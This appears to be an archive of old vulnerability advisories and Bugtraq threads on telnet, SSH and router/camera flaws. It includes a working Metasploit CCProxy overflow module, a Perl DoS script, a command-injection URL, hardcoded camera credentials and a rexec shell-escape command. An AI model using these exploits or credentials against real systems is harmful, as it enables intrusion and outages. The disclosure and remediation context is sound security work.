> We designed this box with being able to access the CLI or HTTP interface
> from the WAN in mind. This feature allows for remote management and trouble
> shooting of the WebRamp, and has proved to be an essential tool to our
> support department.
This is a straw man. The complaint is not that you have a way of allowing
this remote access to take place, it is that the remote connection WILL be
allowed even when you tell the M3 NOT TO ALLOW IT. If there are people
who will tell your customer service people their admin passwords and IP
addresses via email (as your customer service person wanted me to do),
that's their problem. That your box continues to offer a login prompt to
anyone who happens by after being told NOT TO, that's the problem.
> If security is a concern change the Administrative
> password on your WebRamp, and do so frequently.
Security says you do not allow connections to services you do not want
active, not that you just put a password on them. Security says that you
do not give out information about your systems that doesn't need to be
known, such as "Hi! I'm an M3 and I'm ready to let you log in, even though
you might not be able to."
In case you aren't aware of this, there are DoS attacks that don't require
passwords, just a connection. I haven't tried any of them against the M3,
but given the attitude expressed by Rampnet about this problem, I wouldn't
doubt that you can shut an M3 off remotely. I wouldn't doubt that there is
a stack smashing expoit of some kind, or who knows what else. And when
these show up, they will be branded "perceived" problems and assigned a
"level 4 priority".
I wouldn't doubt that we will learn as time goes by that there is a
backdoor that customer service uses to get into an M3 when the user
forgets his admin password. If the ability for Rampnet customer service to
connect via the WAN is so critical, it is almost a certainty. Cisco, as I
recall, had this problem. The difference is that Cisco did something about
it.
> I would approximate this number to be in
> the 90% or higher range. The number of customers who have actively tried to
> disable incoming telnet sessions that we are aware of is much lower than 1%.
"It isn't a security problem because very few people see it as one."
Remember, this M3 is aimed at a non-technical audience, intended for use
by people who are setting up a small office network connection to an ISP
using a modem. Most people won't think to try telnetting into their own
network, assuming that the boxes that disable diversion mean what they
say, or from pure ignorance. _I_ didn't even realize it was happening
until I disabled the visible computer and wanted to make sure it really
was disabled.
> 3) There are workarounds readily available.
Yes, I had to waste an evening looking for one. I wouldn't call them
"readily" available, however. YOUR technical support people denied that
it was happening. Then they told me the commands to use to "fix" the
problem, which were actually the commands that caused the problem to
appear in the first place.
> To completely block telnet access (so that the session can't even be
> initiated) from the WAN you have two options.
>
> Method 1: Enable a Visible Computer for each active modem port and pointing
> to IP addresses that are not being used in your LAN (e.g. 192.168.1.254 is a
> good place to start as DHCP is not likely to ever pass it out), and uncheck
> both of the divert incoming boxes.
This is the solution I told you about. Thanks for putting your official
stamp of approval on it. Your example address is a bit poor, since 254 is
a common address for gateways, and in my case isn't even on my network.
> 4) Last but not least, engineering has agreed to incorporate a change in
> the M3 families code to mimic the 310.
How nice. I suppose a change that results in the M3 ignoring telnet
connections when it is told not to divert telnet connections to itself was
too much like an admission of a mistake.
> This would allow the user to simply
> check one box to disallow WAN access to the httpd and telnetd processes.
There is already a checkbox that is supposed to do this, at least for
telnet.
> Since there are workarounds available, and useability/functionality is not
> impaired, this is considered to be a priority 4 and may be incorporated in
> the next point release.
I'm sure I'll rush right out and buy the next "point release". Has anyone
else noticed that Rampnet does not provide free fixes, you have to pay for
every update to your firmware? Has anyone else noticed that companies like
Lantronix provide lots of free support and upgrades to firmware?
Now tell me how you are dealing with the problem of counting every packet
that comes in the modem as "activity" when it comes to timing out the
connection. This IS a usability issue, since your failure to disconnect
when there is no activity can lead to excess use charges and, in some
cases, inability to connect due to overuse. (Yes, one of the places I can
dialup has a quota, and you don't get on after you use more than X hours
in a month.) Why do you count a packet from, say, aPowWow client, that
comes in the modem and is promptly thrown away BY THE M3 itself, as valid
activity on the modem line? Why do you count leaking net-bios packets that
have no destination as valid traffic?
Right after I reported this problem, I got a few pieces of mail about it.
One was from someone who said "yeah, Rampnet support isn't very good." Two
were from people telling me this wasn't a problem, both of whom it turned
out were Rampnet dealers with a vested interest in protecting the product.
One was from the supervisor of customer support wanting to talk to me on
the phone. We talked about the problem, which he admitted was a problem,
and he promised me all sorts of status reports. I've not heard from him
since.
Every company is a good company when there is no problem. How they react
to problems is how you sort them out.
----------------------------------------------------------------------------
Date: Thu, 4 Feb 1999 19:59:12 -0500
From: Kragen Sitaker <kragen@POBOX.COM>
To: BUGTRAQ@netspace.org
Subject: Re: WebRamp M3 Perceived Bug
On Wed, 3 Feb 1999, Robert Ward wrote:
> We designed this box with being able to access the CLI or HTTP interface
> from the WAN in mind. This feature allows for remote management and trouble
> shooting of the WebRamp, and has proved to be an essential tool to our
> support department. If security is a concern change the Administrative
> password on your WebRamp, and do so frequently.
IMHO, when you ship someone a preconfigured machine of some kind, and
they don't express any particular interest or knowledge about the
possibilities of that machine being controlled remotely, the default
should be for that machine not to be controllable remotely -- not for
anyone in the world to be able to control that machine remotely.
> 2) This is true for every M3/M3t/M3i/300 user who is not using Visible
> Computers or telnet Local Servers. I would approximate this number to be in
> the 90% or higher range. The number of customers who have actively tried to
> disable incoming telnet sessions that we are aware of is much lower than 1%.
This is probably a good rule of thumb. 99% or more of the people out
there won't even think about security. It's a betrayal, a fraud, an
injustice to put backdoors into your products by default, then give
people the ability to turn them off -- knowing that more than 99% of
them will never use it.
Imagine getting a new car. Like more than 99% of car owners, you don't
read the owner's manual. After six months, the car's brakes stop
working in traffic; it kills your wife and kids, along with the
occupants of several dozen other cars of the same model in that city
block. You call the manufacturer to complain. "Didn't you read the
manual?" they say. "On page 66, it explains that the car is rigged to
disable the brakes when it receives a particular radio signal, but you
can turn it off with a switch inside the glove compartment. It's not
our fault if terrorists use this feature to blow up buildings, and if
you didn't bother to read the manual. We put it in to help our
mechanics when the brake pedals get stuck."
> 3) There are workarounds readily available.
. . . which, as you point out, more than 99% of your customers don't
even know about, and therefore more than 99% of your customers are wide
open.
I hope you get your irresponsible sorry asses hauled into court for
this, you pathetic slimeballs.
--
<kragen@pobox.com> Kragen Sitaker <http://www.pobox.com/~kragen/>
Computers are the tools of the devil. It is as simple as that. There is no
monotheism strong enough that it cannot be shaken by Unix or any Microsoft
product. The devil is real. He lives inside C programs. -- philg@mit.edu
WebRamp M3 remote network access bug allows remote attacker to easily connect to the router via telnet; default admin password poses additional security risks.
Cushman/AudixShell.txt ( na)
This vulnerability is dedicated to my mother, who passed
away on April 7, 2003. Mom, may God be with you.
Avaya, a manufacturer of telecommunications products,
makes a voicemail system called Intuity Audix. This
system is based on a Novell licensed version of
Unixware v2.1.3 by SCO. The one used here comes with
remote management capabilities over IP.
This is not truly a 100% remote shell vulnerability,
due to the fact that the user must either know the "sa"
user password, or must be able to sniff the network
that the Intuity Audix machine is on. This will also
work with the "vm" user, or any other user who wishes
to authenticate over the network via telnet.
Initially, one might scan for open ports, or use an SNMP
browser, such as that commercially offered by Solarwinds,
and discover many open ports on the machine. Using SNMP,
the default community name of "public" is used. The services
of interest are snmp, http, exec, and telnet. Since telnet
is running, and the Avaya ASA GUI-based admin piece uses
port 23 as a default for the voicemail, we now know that
authentication is done in the clear. Using a network
analyzer that filters text (the one used here was the
Win32 port of dsniff), and being able to sniff the network
that the box is on, one would hopefully obtain a username
and password quickly.
Now using rexec (for purposes here, since the Win32 port of
dsniff was used, we will use command line rexec on Windows
2000 Professional) we type as follows:
rexec <ip address> -l(username) move /mtce/login/(username)/.profile
/mtce/login/(username)/.profile2
for example:
rexec 192.168.0.1 -lsa move /mtce/login/sa/.profile
/mtce/login/sa/.profile2
This will get us out of the restricted menu when telnetting into the box.
If the user is root or admin, the game is over. If the user is sa, vm, or
the ever guarded craft account (which oddly, does not have root
privileges),
then a vulnerable build of Apache server is on the machine. If your
version
is patched, or does not appear to be vulnerable, then there are many more
services running on this machine. root is just an exploit away.
Fixes:
Simple.... do not use SNMP v1, block access to SNMP, or just don't use it
at all. Do not use exec, telnet, or shell. Have the user authenticate over
SSH2. Patch the web server portion, even if it's just a DoS to the machine.
Since this is a proprietary system, Avaya will have to come up with a fix.
Make sure the shell is restricted, and there is no way to
exit the menu.
Greets,
Cushman
This is a shortened version of the original posting. The
full post can be seen at:
http://www.securitynerds.org/html/resources/research/audix.html
The Intuity Audix voicemail system by default is maintained over port 23 (telnet) in a restricted command interface. If an attacker has a known account/password, they can circumvent this interface and get an unrestricted shell using rexec.
Patrick Webster/ccproxy-meta.txt ( na)
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
module Msf
class Exploits::Windows::Proxy::CCProxy_Telnet_Ping < Msf::Exploit::Remote
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'CCProxy <= v6.2 Telnet Proxy Ping Overflow',
'Description' => %q{
This module exploits the YoungZSoft CCProxy <= v6.2 suite Telnet service.
The stack is overwritten when sending an overly long address to the 'ping' command.
},
'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ],
'Arch' => [ ARCH_X86 ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'BID', '11666 ' ],
[ 'CVE', '2004-2416' ],
[ 'MIL', '621' ],
[ 'OSVDB', '11593' ],
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 1012,
'BadChars' => "\x00\x07\x08\x0a\x0d",
},
'Platform' => ['win'],
'Targets' =>
[
# Patrick - Tested OK 2007/08/19. W2K SP0, W2KSP4, XP SP0, XP SP2 EN.
[
'Windows 2000 Pro All - English',
{
'Ret' => 0x75023411, # call esi ws2help.dll
}
],
[
'Windows 2000 Pro All - Italian',
{
'Ret' => 0x74fd2b81, # call esi ws2help.dll
}
],
[
'Windows 2000 Pro All - French',
{
'Ret' => 0x74fa2b22, # call esi ws2help.dll
}
],
[
'Windows XP SP0/1 - English',
{
'Ret' => 0x71aa1a97, # call esi ws2help.dll
}
],
[
'Windows XP SP2 - English',
{
'Ret' => 0x71aa1b22, # call esi ws2help.dll
}
],
],
'DisclosureDate' => 'Nov 11 2004'))
register_options(
[
Opt::RPORT(23),
], self.class)
end
def autofilter
false
end
def check
connect
banner = sock.get_once(-1,3)
if (banner =~ /CCProxy Telnet Service Ready/)
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
connect
sploit = "p " + payload.encoded + [target['Ret']].pack('V') + make_nops(7)
sock.put(sploit + "\r\n")
handler
disconnect
end
end
end
This Metasploit module exploits the YoungZSoft CCProxy suite versions 6.2 and below Telnet service. The stack is overwritten when sending an overly long address to the 'ping' command.
/labs51.txt ( na)
Hash: SHA1
Remote DoS Attack in Pragma TelnetServer 2000 (Remote Execute Daemon)
Vulnerability
USSR Advisory Code: USSR-2000051
Release Date:
August 24, 2000
Systems Affected:
Pragma TelnetServer 2000 for Windows NT/2000
THE PROBLEM:
The Ussr Labs team has recently discovered a buffer overflow memory
problem in the rpc module of the Pragma TelnetServer 2000
What happens is by performing an attack with a malformed request to
port 512
it will cause the process containing the services to crash.
SPECIAL NOTE:
That we take no responsibility for this code it is for educational
purposes only.
DEMONSTRATION:
[hellme@die-communitech.net$ telnet example.com 512
Trying example.com...
Connected to example.com.
Escape character is '^]'.
[buffer]
Where [buffer] is approx. 1000 NULL characters, and the process
containg the service crashes
EXPLOIT in Perl:
- -------------------------Start File--------------------
#!/usr/bin/perl
#########################################################
# Exploit by USSRLabs www.ussrback.com
# send 5k of null causes the server to crash.
#########################################################
#
# ./$0.pl -s <server> -p <port>
#
# Null request DoS
#
use Getopt::Std;
use Socket;
getopts('s:p', \%args);
if(!defined($args{s})){&usage;}
my($serv,$port,$URL,$buf,$in_addr,$paddr,$proto);
$serv = $args{s}; # remote server
$port = $args{p} || 512; # remote port, default is 512
$foo = "\0"; # this is the Null
$number = "1000"; # this is the total number of Null
$data .= $foo x $number; # result of $foo times $number
$buf = "$data"; # issue this response to the server
$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";
print("Data has been successfully sent to $serv\n");
sub usage {die("\n\n$0 -s <server> [ -p <port> ]\n\n");}
- -------------------------End File----------------------
Vendor Status:
Informed!, Contacted!.
Fix:
Fixed for Build 2 of TelnetServer 2000 released soon.
Vendor Url: http://www.pragmasys.com
Program Url: http://www.pragmasys.com/TelnetServer/
Related Links:
Underground Security Systems Research:
http://www.ussrback.com
CrunchSp Product:
http://www.crunchsp.com
About:
USSR is a young company based in South America devoted to
research about computers, network security, and software
protection systems
One of the main objectives of USSR is to develop and implement new
security and protection systems based on our knowledge and
experience.
However, we believe that the way we implement security solutions,
can make a difference, CrunchSP is a good example.
In our day to day research we detect vulnerability issues in
different applications that we publish on our advisory board.
Most of USSR programmers and partners have more than 12 years
of experience in different computer based applications, with
great knowledge in high and low level programming lenguages.
For further information on USSR, feel free to contact us by email.
USSR has assembled some of the worlds greatest software developers
and security consultants to help us provide our customers this great
range of security services:
* Network Penetration Testing
* Security Application development
* Application Security Testing and Certification
* Security Based on Security Tools
* Cryptography
* Emergency Response Team
* Firewalling
* Virtual Private Networking
* Intrusion Detection
* Support and maintenance
Copyright (c) 1999-2000 Underground Security Systems Research.
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without explicit
consent of Ussr. If you wish to reprint whole or any part of this
alert in any other medium excluding electronic medium, please e-mail
labs@ussrback.com for permission.
Disclaimer:
The information within this paper may change without notice. We may
not be held responsible for the use and/or potential effects of these
programs or advisories. Use them and read them at your own risk or
not at all. You solely are responsible for this judgement.
Feedback:
Please send suggestions, updates, and comments to:
Underground Security Systems Research
mail:labs@ussrback.com
http://www.ussrback.com
u n d e r g r o u n d s e c u r i t y s y s t e m s r e s e a r c
h
http://www.ussrback.com
-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 6.5.2 for non-commercial use <http://www.pgp.com>
iQA/AwUBOaUDn63JcbWNj6DDEQIrNQCg4FV9M91dZeS9VNBWE7gKN5WV1hoAoI3/
yix9vUlqCv9n8znUY/n9cflC
=aJdL
-----END PGP SIGNATURE-----
USSR Labs Advisory #51 - There is a remote denial of service caused by a buffer overflow memory problem in the rpc module of the Pragma TelnetServer 2000 for Windows NT/2000. The included shell code causes the system to crash.
Roberto Paleari/Multiple IP Cameras Remote Command Execution ( na)
Multiple vulnerabilities in several IP camera products
======================================================
[ADVISORY INFORMATION]
Title: Multiple vulnerabilities in several IP camera products
Release date: 08/06/2011
Last update: 08/06/2011
Credits: Roberto Paleari, Emaze Networks S.p.A (roberto.paleari@emaze.net)
[VULNERABILITY INFORMATION]
Class: Hidden functionalities, command-injection, weak encryption
[AFFECTED PRODUCTS]
The vulnerabilities described in this advisory are related to a firmware shared
among several devices of different vendors. Unfortunately, we have not been
able to identify the actual firmware manufacturer: we asked the name of the
firmware manufacturer to the vendors, without any success (see section
"DISCLOSURE TIME-LINE" for details).
We confirm the products of the following vendors are affected:
* TRENDnet
* Digicom
* iPUX
We speculate some IP camera products of the following vendors are also
affected:
* ZoneNet
* AirLink101
Other products we are not aware of could also be vulnerable to these issues.
[VULNERABILITY DETAILS]
The firmware running on the affected IP cameras is subject to multiple security
issues that allow an attacker to gain administrative access to the device and
to execute arbitrary commands. In the following paragraphs we describe the
details of the vulnerabilities we identified.
a) Undocumented user
A user can authenticate to the web server running on the device using the
credentials "productmaker:ftvsbannedcode". The "productmaker" user can
access to a restricted number of web pages (basically, all the pages under
the "/cgi/maker/" directory).
b) Command-injection vulnerabilities
Some of the web pages the "productmaker" can access to are subject to a
command-injection vulnerability, as the server-side script does not properly
validate user-supplied input.
The following URL exploits a command-injection vulnerability inside
"unittest.cgi" page. The payload executes the "ls" command and displays
its output inside the generated web page:
http://<device IP address>/cgi/maker/unittest.cgi?action=asd;ls;date>/dev/null
A similar issue also affects the "sn.asp" page.
c) Hidden Telnet service
The "productmaker" user can enable a Telnet server by accessing the
following web page:
http://<device IP address>/cgi/maker/tools.cgi?telnet=1
The page spawns a Telnet daemon listening on TCP port 23. The Telnet daemon
does not require any authentication.
d) Weak password encryption
User passwords are stored in "/server/usr.ini", and are simply encoded in
base64 form.
e) Configuration encoding
Users can backup the configuration of the device through the web
interface. The configuration is saved in a tgz file ("config.cfg") that is
"encrypted" in a easy-to-reverse form. The following Python procedure
decodes the "encrypted" version of the configuration file:
# 'data' is the content of the encrypted configuration file, as downloaded
# from the web interface
def conf_decode(data):
r = ""
for c in data:
x = ord(c) ^ ord('j')
x = (~x) & 0xff
r += chr(x)
return r
To encode a plain tgz file into a valid configuration archive, just apply
the inverse of the "conf_decode" procedure.
[UNAUTHORIZED ACCESS TO THE DEVICE]
By leveraging the aforementioned vulnerabilities, an attacker can easily obtain
the authentication credentials for the "admin" user as follows:
1. Authenticate as the hidden "productmaker" user.
2. Exploit the command-injection vulnerability to obtain the content of the
/server/usr.ini file.
3. The web server replies with the password for the "admin" user, encoded in
base64.
[REMEDIATION]
We are not aware of an updated firmware that corrects the issues described in
this advisory. In the meanwhile, users can modify the default credentials for
the user "productmaker", in order to inhibit unauthorized accesses to the
device.
At this aim, users should perform the following actions:
1. Perform a backup of the configuration of the device.
2. Decode the configuration file (see point 'e' in the previous section).
3. Modify the config/server/usr.ini file inside the tgz archive, and replace
the password for the "maker" user with a new one.
4. Rebuild the tgz archive and encode it.
5. Upload the new configuration file to the device.
A Python script that automates these steps can be provided upon request.
[DISCLOSURE TIME-LINE]
We tried to contact two different vendors. Below we report the time-lines:
= VENDOR A =
* 07/03/2011 - The author contacts vendor A, asking for details about the
firmware manufacturer.
* 07/03/2011 - First reply from vendor A, asking for vulnerability
details.
* 08/03/2011 - The author informed vendor A about his intention to
publicly disclose the details of the security issues after
the release of proper countermeasures.
* 16/03/2011 - No response from the vendor. The author re-sent the previous
e-mail.
* 29/03/2011 - Still no reply from the vendor. The author re-sent the
e-mail again.
* 21/04/2011 - Again, no reply from the vendor. The author re-sent the
e-mail.
* 08/06/2011 - Disclosure.
= VENDOR B =
* 06/06/2011 - The author contacts vendor B, asking for details about the
firmware manufacturer.
* 06/06/2011 - Vendor B replies he is not interested into fixing these
security issues.
* 07/06/2011 - The author informs vendor B about his intention to disclose
the details of the issues.
* 08/06/2011 - Disclosure.
[COPYRIGHT]
Copyright(c) Emaze Networks S.p.A 2011, All rights reserved worldwide.
Permission is hereby granted to redistribute this advisory, providing that no
changes are made and that the copyright notices and disclaimers remain intact.
Emaze Networks has updated ipLegion, its vulnerability assessment platform, to
check for this vulnerability. Contact info@emaze.net to have more information
about ipLegion.
[DISCLAIMER]
Emaze Networks S.p.A is not responsible for the misuse of the information
provided in our security advisories. These advisories are a service to the
professional security community. There are NO WARRANTIES with regard to this
information. Any application or distribution of this information constitutes
acceptance AS IS, at the user's own risk. This information is subject to change
without notice.
IP Cameras such as TRENDnet, Digicom, and iPUX all share a firmware that suffers from undocumented user, command injection, hidden telnet service, and various other vulnerabilities.
Luca Carettoni/SiemensSANTIS50.txt ( na)
Secure Network - Security Research Advisory
Vuln name: [Siemens SANTIS 50 Authentication Vulnerability]
Systems affected:
Siemens Santis 50 Wireless router (firmware version: 4.2.8.0)
Likely to be affected:
Ericsson HN294dp
Dynalink RTA300W
Severity: medium risk
Local/Remote: Remote (limited to the LAN, with default configuration)
Vendor URL: http://www.dynalink.com.au/modemsadsl_dis.htm?prod=RTA300W#
http://help.virgilio.it/guide/index.jsp? id=5080&id_figlio=5541 (italian Internet provider)
Author(s): Luca Carettoni - luca.carettoni@securenetwork.it
Vendor disclosure: 17th July 2005
Vendor acknowledged: Not acknowledged
Public disclosure: 25th July 2005
Advisory number: SN-2005-01
Advisory URL: http://www.securenetwork.it/advisories/
*** SUMMARY ***
The Siemens Santis 50 Wireless router is a wi-fi (802.11b) ADSL router. It's a complete system for home and small business networks in a single device.
Some features include:
- Integrated WLAN for internet sharing
- ADSL Modem/Router/Firewall/Switch
- 10/100 Mbps 4 port switch built in
- Stateful packet inspection (SPI) firewall
- Wireless Access Point
- VPN passthrough
Telecom Italia Net (one of the largest italian Internet providers) delivers this device to its ADSL customers, so in Italy it's a common device used in SOHO and SMB networks.
The Siemens Santis50, the Ericsson HN294dp and the Dynalink RTA300W devices share the same hardware, so it's very likely that they share this vulnerability. The original project of these products was from Askey. The firmware software is from VirataGlobespan, bought by Conexant.
The tested (vulnerable) version of firmware is the 4.2.8.0
This bug provides access to the management CLI, without authentication, after a DOS attack to a specific service port.
*** VULNERABILITY DETAILS ***
This device provides a web management interface and the classic telnet CLI for administration purposes. By default these services are available only from the local network, but can be optionally activated also on the WAN interface.
Sending trigger packets to the management port (280/http-mgmt), the device "freezes" the web interface, allowing unauthenticated connection to the telnet CLI.
This behavior appears to be some sort of "disaster recovery mode". The set of available commands is limited to a few, but they are enough to discover informations about the configuration of the device and connections (events, traffic, ethernet addresses configuration, etc). Also critical commands like "irreversibly erase FLASH contents" are available.
*** EXPLOIT ***
A simple exploit is to use the application scanner AMAP (kudos to THC, www.thc.org).
Mojito:~ LuCa$ amap x.x.x.x 280
*** FIX INFORMATION ***
A vendor-provided fix is currently unavailable. An upgrade to a more recent version of firmware (v5.2.2 is currently available) could help, but we are unable to test this version.
An obvious workaround (and good practice) is to disable the management interface on the WAN, this obviously blocks this attack from external attackers.
*********************
*** LEGAL NOTICES ***
*********************
Secure Network (www.securenetwork.it) is an information security company,
which provides consulting and training services, and engages in security
research and development.
We are committed to open, full disclosure of vulnerabilities, cooperating
with software developers for properly handling disclosure issues.
This advisory is copyright © 2005 Secure Network S.r.l. Permission is
hereby granted for the redistribution of this alert, provided that it is
not altered except by reformatting it, and that due credit is given. It
may not be edited in any way without the express consent of Secure Network
S.r.l. Permission is explicitly given for insertion in vulnerability
databases and similars, provided that due credit is given to Secure Network
The information in the advisory is believed to be accurate at the time of
publishing based on currently available information. This information is
provided as-is, as a free service to the community by Secure Network
research staff. There are no warranties with regard to this information.
Secure Network does not accept any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.
If you have any comments or inquiries, or any issue with what is reported
in this advisory, please inform us as soon as possible.
E-mail: securenetwork@securenetwork.it
GPG/PGP key: http://www.securenetwork.it/pgpkeys/Secure%20Network.asc
Phone: +39 0363 560 402
By sending trigger packets to the management port (280/http-mgmt) of a Siemens Santis 50 wireless router, the device freezes the web interface and allows unauthenticated access to the telnet CLI.
/sshd-1.x-2.x-login.txt ( na)
Date: Sat, 23 Jan 1999 17:06:44 -0500
From: KuRuPTioN <kuruption@CHA0S.COM>
To: BUGTRAQ@netspace.org
Subject: SSH 1.x and 2.x Daemon
There seems to be incomplete code in the SSH daemon in both versions 1.2.27
and 2.0.11 (only tested). The bug simply allows users who with expired
accounts (in /etc/shadow) to continue to login even though other such
services such as ftp and telnet deny access. Here is the log using 1.2.27
(but the same happens with 2.0.11).
[root@epicenter /etc]# chage -l lamer
Minimum: 3
Maximum: 30
Warning: 5
Inactive: -1
Last Change: Jan 01, 1999
Password Expires: Jan 31, 1999
Password Inactive: Never
Account Expires: Jan 22, 1999
[root@epicenter /etc]# date
Sat Jan 23 13:57:51 PST 1999
[root@epicenter /etc]# telnet localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
login: lamer
Password:
Your account has expired. Please contact the system administrator.
Connection closed by foreign host.
[root@epicenter /etc]# ssh1 -l lamer localhost
lamer@127.0.0.1's password:
No mail.
(lamer@epicenter) lamer>
.......
Now I wanted to try whether the account expiration worked using SSH, and it
does. If a user's password has expired, then SSH will prompt following the
login for the user to enter a new password and disconnect them if they fail
to (like a telnet would).
I have reported this problem to the SSH bug e-mail address about 2 weeks ago
with no response.
Current System Configuration:
Linux 2.0.36
Shadow Utilities 980724
SSH 1.2.27 and 2.0.11 (both daemons)
Any solutions (patch?) to this problem would be appreciated. Currently I
just run a shell script to change the user's shell to deny them, but this
shouldn't be necessary since this is one of the listed features of the
Shadow Utilities.
Thanks.
Raymond T Sundland
-------------------------------------------------------------------------------
Date: Sun, 24 Jan 1999 14:39:30 -0800
From: Jan B. Koum <jkb@BEST.COM>
To: BUGTRAQ@netspace.org
Subject: Re: SSH 1.x and 2.x Daemon
This is not the case with ssh 1.1.26 running on FreeBSD 2.2.8
If I expire an account:
Expire [month day year]: January 1, 1999
Then when I try to ssh in I just get:
Permission denied.
-- Yan
-------------------------------------------------------------------------------
Date: Sun, 24 Jan 1999 19:16:55 -0500
From: KuRuPTioN <kuruption@CHA0S.COM>
To: BUGTRAQ@netspace.org
Subject: SSH Daemon
Sorry, as to my prior post. I stated I was using 1.2.27, which is wrong
since 1.2.27 has not been released yet. It is 1.2.26 release of SSH.
Thanks
Raymond T Sundland
-------------------------------------------------------------------------------
Date: Sun, 24 Jan 1999 19:31:34 -0800
From: Alan Olsen <alan@CLUESERVER.ORG>
To: BUGTRAQ@netspace.org
Subject: Re: SSH 1.x and 2.x Daemon
At 05:06 PM 1/23/99 -0500, KuRuPTioN wrote:
>There seems to be incomplete code in the SSH daemon in both versions 1.2.27
>and 2.0.11 (only tested). The bug simply allows users who with expired
>accounts (in /etc/shadow) to continue to login even though other such
>services such as ftp and telnet deny access. Here is the log using 1.2.27
>(but the same happens with 2.0.11).
Furthermore, if the account is disabled in /etc/passwd and a user logs in
via a public key, they are still allowed access. (So just diabling a user
account is not enough anymore. You have to look for uses of public keys as
well.)
This may not exist in the 2.x series (I have not tested it there), but it
does occur in the 1.2.x series. (I have not tested the latest version on
this...)
I would verify the above before panic, but I have seen it occur under one
such install of 1.2.x. (I will have to look up the version. The drive was
removed soon after due to hacker d00dz.)
---
| Bill Clinton - Bringing back the Sixties one Nixon at a time! |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: |
| mankind free in one-key-steganography-privacy!" | Ignore the man |
| | behind the keyboard.|
| http://www.ctrl-alt-del.com/~alan/ |alan@ctrl-alt-del.com|
-------------------------------------------------------------------------------
From: Yutaka OIWA <yutaka@OIWA.SHIBUYA.TOKYO.JP>
To: BUGTRAQ@netspace.org
Subject: Re: SSH 1.x and 2.x Daemon
>> On Sat, 23 Jan 1999 17:06:44 -0500, KuRuPTioN <kuruption@CHA0S.COM> said:
KuRuPTioN> There seems to be incomplete code in the SSH daemon in both versions 1.2.27
KuRuPTioN> and 2.0.11 (only tested). The bug simply allows users who with expired
KuRuPTioN> accounts (in /etc/shadow) to continue to login even though other such
KuRuPTioN> services such as ftp and telnet deny access. Here is the log using 1.2.27
KuRuPTioN> (but the same happens with 2.0.11).
It seems to be a bug of configure script. As my quick observation
for source code, possibly-vulnerable environment is
- sshd 1.2.26 on
* Linux, Irix5, Irix6, Ultrix, Convex
- sshd 2.0.11 on
* Almost all platform with account expiration and without
usersec.h(?)
To check whether the sshd is vulnerable, execute the command
strings sshd | grep expire
and see whether the message for ACCOUNT expiration is exist.
(There may be a message for password expiration)
Adding
#define HAVE_STRUCT_SPWD_EXPIRE 1
to appropriate header file (do after ./configure) may solve the
problem (sorry, not tested).
Detail:
In ssh 1.2.26, checking shadow passwd existence is bypassed on
some platforms. However, checking sp_expire existence is done
in the bypassed section of configure script.
In ssh 2.0.11, no checking seems to be done for sp_expire. (true?)
--
Yutaka Oiwa Yonezawa Lab., Department of Information Science,
Faculty of Science, University of Tokyo.
Email: <oiwa@is.s.u-tokyo.ac.jp>, <yutaka@oiwa.shibuya.tokyo.jp>
PGP fingerprint = C9 8D 5C B8 86 ED D8 07 EA 59 34 D8 F4 65 53 61
-------------------------------------------------------------------------------
Date: Mon, 25 Jan 1999 15:22:03 -0500
From: KuRuPTioN <kuruption@CHA0S.COM>
To: BUGTRAQ@netspace.org
Subject: Re: SSH 1.x and 2.x Daemon
Hello again.
I have been brainstorming with a few people and I have found a solution to
the problem I was experiencing. This solution works in both SSH 1.2.26 (not
1.2.27, as I was delusional that day) and SSH 2.0.11.
In SSH 1.2.26 adding the -DHAVE_STRUCT_SPWD_EXPIRE to the Makefile in the
top of the SSH tree with fix the problem.
In SSH 2.0.11 adding the same -DHAVE_STRUCT_SPWD_EXPIRE to
ssh-2.0.11/lib/sshsession/Makefile. In both case, I added it to the 'defs
=' section and it worked fine, but maybe there is a cleaner way to do this.
In regards to -with-login, I have tried it and gotten errors not allowing me
to login at all. I do not remember the exact problem, but I know it did not
work. (I am too lazy right now to replicate the error).
Thanks to everyone who responded and lent me a hand.
Raymond T Sundland
-------------------------------------------------------------------------------
Date: Mon, 25 Jan 1999 14:24:00 -0700
From: Jim Bourne <jbourne@AFFINITY-SYSTEMS.AB.CA>
To: BUGTRAQ@netspace.org
Subject: Re: SSH 1.x and 2.x Daemon
Parts/Attachments:
1 Shown 72 lines Text
2 OK ~1.4 KB Text, "Expiry Patch"
----------------------------------------
On Sat, 23 Jan 1999, KuRuPTioN wrote:
> There seems to be incomplete code in the SSH daemon in both versions 1.2.27
> and 2.0.11 (only tested). The bug simply allows users who with expired
> accounts (in /etc/shadow) to continue to login even though other such
> services such as ftp and telnet deny access. Here is the log using 1.2.27
> (but the same happens with 2.0.11).
Hi,
I had emailed them about this and here is the response:
________________
Date: Tue, 7 Jul 1998 22:38:08 +0300 (EET DST)
From: Tero Kivinen <kivinen@ssh.fi>
To: Jim Bourne <jbourne@island.net>
Subject: ssh on linux
Status: U
Jim Bourne writes:
> I've been playing with SSH on my home system, and found a problem with
> compiling it under Linux 2.0.33 (redhat 4.2 in this case). Since shadow
> support can be turned on fairly easily (pwconv5) and the struct spwd does
> include shadow aging and expiry information, I thought it would be better to
> have these turned on when using autoconf.
Linux shadow password maintainer said earlier that we must turn off
shadow password checking and always use the shadow password functions,
just so that you can turn shadow password on later. Currently the
configure.in checks that if we are in linux and we have getspnam
function then we turn shadow password on always, and otherwise we
don't turn it on. So I didn't remove that
no_shadows_password_checking=yes line from the configure.
[snip]
--
kivinen@iki.fi Work : +358-9-4354 3218
